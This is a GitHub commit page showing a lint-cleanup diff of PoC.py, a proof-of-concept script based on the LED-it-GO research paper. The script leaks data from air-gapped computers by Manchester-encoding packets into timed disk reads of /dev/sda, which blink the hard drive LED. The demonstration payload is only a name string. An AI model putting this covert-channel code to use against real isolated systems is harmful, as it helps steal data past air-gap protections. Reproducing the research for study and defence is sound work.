Skip to content
This repository has been archived by the owner on Nov 15, 2024. It is now read-only.

Commit

Permalink
clear some lint warnings
Browse files Browse the repository at this point in the history
  • Loading branch information
daedalus committed Nov 21, 2020
1 parent bb159e6 commit 1ce89ef
Showing 1 changed file with 55 additions and 37 deletions.
92 changes: 55 additions & 37 deletions PoC.py
Original file line number Diff line number Diff line change
@@ -1,72 +1,90 @@
#!/usr/bin/env python
# Proof of concept for data exfiltration through HDD Activity Led
# Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED
# Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED
# Based on paper http://cyber.bgu.ac.il/advanced-cyber/system/files/LED-it-GO_0.pdf
# Dario Clavijo 2017

import os,time,zlib,binascii
import os
import time
import zlib
import binascii

BLOCK_SIZE=512
BLOCK_SIZE = 512

if hasattr(os, 'sync'):
sync = os.sync
else:
import ctypes
libc = ctypes.CDLL("libc.so.6")

def sync():
libc.sync()

def transmit_bits(tmpfile,bits, T0, readsize):
sync() #drop cache
fp = open(tmpfile)
offset = 0
offsetincrement = BLOCK_SIZE;
fp.seek(offset)
for b in list(bits):
#sync()
if (b=='0'):
print "0 sleep " + str(T0)
time.sleep(T0);
if (b=='1'):
sync()
fp.seek(offset)
print "1 read %d bytes" % len(fp.read(readsize))
offset += offsetincrement
return;

def transmit_bits(tmpfile, bits, T0, readsize):
sync() # drop cache
fp = open(tmpfile)
offset = 0
offsetincrement = BLOCK_SIZE
fp.seek(offset)
for b in list(bits):
# sync()
if (b == '0'):
print("0 sleep " + str(T0))
time.sleep(T0)
if (b == '1'):
sync()
fp.seek(offset)
print("1 read %d bytes" % len(fp.read(readsize)))
offset += offsetincrement


def manchester(bits):
r = ""
for b in list(bits):
if b == '0':
r += '01'
if b == '1':
r += '10'
return r
r = ""
for b in list(bits):
if b == '0':
r += '01'
if b == '1':
r += '10'
return r


def itob(i):
return bin(i).replace('0b','')
return bin(i).replace('0b', '')


def atob(a):
return itob(int(binascii.hexlify(a), 16))


def itob32(i):
return itob(i).zfill(32)


def itob16(i):
return itob(i).zfill(16)


def transmit_packet(payload):
preamble = "10101010"
payload_size = len(payload)
print "preamble, size, payload, crc32"
print preamble, itob16(payload_size), atob(payload), itob32(zlib.crc32(payload))
dataONOFF = manchester(preamble+itob16(payload_size)+atob(payload)+itob32(zlib.crc32(payload)))
#print data
time.sleep(1)
transmit_bits('/dev/sda',dataONOFF,0.01,4096)
preamble = "10101010"
payload_size = len(payload)
payload = payload.encode('utf8')
print("preamble, size, payload, crc32")
print(preamble, itob16(payload_size),
atob(payload),
itob32(zlib.crc32(payload)))
dataONOFF = manchester(preamble +
itob16(payload_size) +
atob(payload) +
itob32(zlib.crc32(payload)))
time.sleep(1)
transmit_bits('/dev/sda', dataONOFF, 0.01, 4096)


def main():
while True:
transmit_packet("Dario Clavijo")

main()

if __name__ == "__main__":
main()

0 comments on commit 1ce89ef

Please sign in to comment.